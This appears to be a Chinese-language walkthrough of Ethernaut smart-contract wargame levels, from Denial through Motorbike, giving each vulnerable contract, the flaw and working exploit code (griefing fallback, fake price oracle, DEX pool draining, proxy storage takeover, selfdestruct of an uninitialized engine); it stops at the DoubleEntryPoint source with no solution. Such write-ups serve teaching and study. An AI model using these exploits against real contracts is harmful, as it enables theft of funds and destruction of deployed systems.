智能合约安全-Ethernaut下篇

让我们畅谈智能合约安全吧

题库

0x15 Denial

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

call 的时候没有检查返回值，在回退函数中写死循环

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract MaliciousContract {

    receive() external payable {
        while(true){}
    }
}

然后设置地址

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await contract.setWithdrawPartner("0x")

0x16 Shop

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price() >= price && !isSold) {
      isSold = true;
      price = _buyer.price();
    }
  }
}

两次 price 函数调用不同就可以绕过

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pragma solidity ^0.7;

interface IShop {
    function isSold() external view returns (bool);
    function buy() external;
}

contract Buyer {
    address levelInstance;

    constructor(address _levelInstance) {
        levelInstance = _levelInstance;
    }

    function price() public view returns (uint256) {
        return IShop(msg.sender).isSold() ? 0 : 100;
    }

    function buy() public {
        IShop(levelInstance).buy();
    }
}

0x17 Dex

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract Dex is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }
  
  function addLiquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapPrice(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  }

  function getSwapPrice(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableToken(token1).approve(msg.sender, spender, amount);
    SwappableToken(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableToken is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

SwappableToken 是 ERC20 的代表，没有什么特殊的地方，看 Dex 合约中几个函数就是添加流动性，交换两种代币，以及最为关键的 getSwapPrice 函数用来计算交换价格，问题就在这里除法是向下取整的，也就是 3 除以 2 不是 1.5，而是 1。所以我们可以通过不断的交换手里的两种代币，就可以抽空整个 Dex 中的流动池了。

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let a = await contract.token1();
let b = await contract.token2();
await contract.approve(instance, "1000000000000");
await contract.swap(a, b, 10);
await contract.swap(b, a, 20);
await contract.swap(a, b, 24);
await contract.swap(b, a, 30);
await contract.swap(a, b, 41);
await contract.swap(b, a, 45);

0x18 Dex2

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import 'openzeppelin-contracts-08/access/Ownable.sol';

contract DexTwo is Ownable {
  address public token1;
  address public token2;
  constructor() {}

  function setTokens(address _token1, address _token2) public onlyOwner {
    token1 = _token1;
    token2 = _token2;
  }

  function add_liquidity(address token_address, uint amount) public onlyOwner {
    IERC20(token_address).transferFrom(msg.sender, address(this), amount);
  }
  
  function swap(address from, address to, uint amount) public {
    require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
    uint swapAmount = getSwapAmount(from, to, amount);
    IERC20(from).transferFrom(msg.sender, address(this), amount);
    IERC20(to).approve(address(this), swapAmount);
    IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
  } 

  function getSwapAmount(address from, address to, uint amount) public view returns(uint){
    return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this)));
  }

  function approve(address spender, uint amount) public {
    SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
    SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
  }

  function balanceOf(address token, address account) public view returns (uint){
    return IERC20(token).balanceOf(account);
  }
}

contract SwappableTokenTwo is ERC20 {
  address private _dex;
  constructor(address dexInstance, string memory name, string memory symbol, uint initialSupply) ERC20(name, symbol) {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
  }

  function approve(address owner, address spender, uint256 amount) public {
    require(owner != _dex, "InvalidApprover");
    super._approve(owner, spender, amount);
  }
}

没有这一句require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");，所以没有约束用其他 token 来交换，所以部署恶意 token 的合约

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract EvilToken is ERC20 {
    constructor(uint256 initialSupply) ERC20("EvilToken", "EVL") {
        _mint(msg.sender, initialSupply);
    }
}

部署后给题目的 instance 地址 approve 并 transfer 100 恶意 token（可以部署两个恶意 token 来分别交换题目中的 token1 和 token2）

image-20240114120802020

然后进行交换就可以

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await contract.approve(player,1000)
await contract.approve(contract.address,1000)
token1 = (await contract.token1())
token2 = (await contract.token2())

// mytoken1和mytoken2分别对应2个部署的恶意合约的地址
mytoken1 = ''
mytoken2 = ''
await contract.swap(mytoken1,token1,100)
await contract.swap(mytoken2,token2,100)

最后 await contract.balanceOf(token1,contract.address)).words[0]

image-20240114121034258

image-20240114121052849

提交成功通关

0x19 Puzzle Wallet

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin {
      require(msg.sender == admin, "Caller is not the admin");
      _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
      require(address(this).balance == 0, "Contract balance is not 0");
      maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
      require(address(this).balance <= maxBalance, "Max balance reached");
      balances[msg.sender] += msg.value;
    }

    function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
        require(balances[msg.sender] >= value, "Insufficient balance");
        balances[msg.sender] -= value;
        (bool success, ) = to.call{ value: value }(data);
        require(success, "Execution failed");
    }

    function multicall(bytes[] calldata data) external payable onlyWhitelisted {
        bool depositCalled = false;
        for (uint256 i = 0; i < data.length; i++) {
            bytes memory _data = data[i];
            bytes4 selector;
            assembly {
                selector := mload(add(_data, 32))
            }
            if (selector == this.deposit.selector) {
                require(!depositCalled, "Deposit can only be called once");
                // Protect against reusing msg.value
                depositCalled = true;
            }
            (bool success, ) = address(this).delegatecall(data[i]);
            require(success, "Error while delegating call");
        }
    }
}

PuzzleProxy是代理合约，PuzzleWallet是具体实现合约。PuzzleWallet是通过Proxy合约部署。PuzzleWallet里面的方法是Proxy合约通过delegatecall来调用。 部署完返回的合约实例是PuzzleProxy合约的地址。升级实现合约以后，代理合约地址保持不变。 由于PuzzleWallet的方法调用是PuzzleProxy合约通过delegatecall来调用实现。所以PuzzleWallet合约的状态变量布局与PuzzleProxy保持一致。

所以 pendingAdmin 和 owner 是同一个 slot 存储的变量， admin 和 maxBalance 是同一个 slot 存储的变量。

由于是使用的 delegatecall ，整个 context 其实在 PuzzleProxy 中，所以我们唯一可以调用的 proposeNewAdmin 可以修改 pendingAdmin 就是覆盖了 PuzzleWallet 的 owner 对象。

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functionSignature = {
    name: 'proposeNewAdmin',
    type: 'function',
    inputs: [
        {
            type: 'address',
            name: '_newAdmin'
        }
    ]
}

params = [player]

data = web3.eth.abi.encodeFunctionCall(functionSignature, params)

await web3.eth.sendTransaction({from: player, to: instance, data})

//检查一下owner
await contract.owner()==player

然后添加 player 到白名单中

await contract.addToWhitelist(player)

然后需要调用 setMaxBalance 来修改 maxBalance 也就是 admin，但是要求合约余额为 0，合约初始就有 0.001ether，所以需要 deposit 和 multicall 多次来存钱。multicall函数的设计目的是同时进行多次函数调用，换句话说，可以在这里多次取款，但是为了限制这一点，函数中通过如下代码检查是否是第一次调用deposit函数，由此限制了我们只能调用一次deposit函数。我们调用deposit和multicall(deposit)，也就是在multicall内部再调用一个multicall。这样子就绕过方法签名的检测。

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// 获取deposit()函数的签名
depositData = await contract.methods["deposit()"].request().then(v => v.data)
// 获取multicall(deposit())的签名
multicallData = await contract.methods["multicall(bytes[])"].request([depositData]).then(v => v.data)
// 调用2次deposit
await contract.multicall([depositData, multicallData], {value: toWei('0.001')})
//检查一下，可以发现balances[player]确实变成了0.002 ether
fromWei((await contract.balances(player)).toString())
// 直接取款即可
await contract.execute(player,toWei('0.002'),0x0)

最后余额清零后 await contract.setMaxBalance(player)

0x1A Motorbike

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// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
    
    struct AddressSlot {
        address value;
    }
    
    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success,) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 { revert(0, returndatasize()) }
            default { return(0, returndatasize()) }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`. 
    // Will run if no other function in the contract matches the call data
    fallback () external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
        assembly {
            r_slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success,) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }
    
    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");
        
        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

先获取 engine 的地址

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slotaddr = '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc'

await web3.eth.getStorageAt(contract.address,slotaddr)

await web3.eth.getStorageAt(engineAddr,0)
// 都是 0 所以 upgrader 和 horsePower 都没有初始化，所以 engine 还没有初始化
await web3.eth.getStorageAt(engineAddr,1)

利用 newImplementation.delegatecall(data); 中的 newImplementation.delegatecall 和 data 都可控进行初始化时替代为自己的恶意函数，这里需要先绕过 _authorizeUpgrade 的约束也就是 upgrader 替换为自己的，所以思路就是先初始化，然后替换

然后部署合约：

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//SPDX-License-Identifier: MIT
pragma solidity <0.7.0;

contract attack{

    address target;

    constructor(address _addr)public{
        target=_addr;
    }
    function step1beupgrader()public{
        bool succ;
        (succ,)=target.call(abi.encodeWithSignature("initialize()"));
        require(succ,"step1 failed!");
    }

    function step2exp()public{
        bool succ;
        DestructContract destructContract = new DestructContract();
        (succ,)=target.call(abi.encodeWithSignature("upgradeToAndCall(address,bytes)",address(destructContract),abi.encodeWithSignature("sakai()")));
        require(succ,"step2 failed!");
    }
}

contract DestructContract{
    function sakai() external{
        selfdestruct(msg.sender);
    }
}

部署时候传入 engine 地址，然后执行 step1 和 step2

0x1B DoubleEntryPoint

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// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
  function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
  mapping(address => IDetectionBot) public usersDetectionBots;
  mapping(address => uint256) public botRaisedAlerts;

  function setDetectionBot(address detectionBotAddress) external override {
      usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
  }

  function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {
        return;
    } catch {}
  }

  function raiseAlert(address user) external override {
      if(address(usersDetectionBots[user]) != msg.sender) return;
      botRaisedAlerts[msg.sender] += 1;
  } 
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(swep   tTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}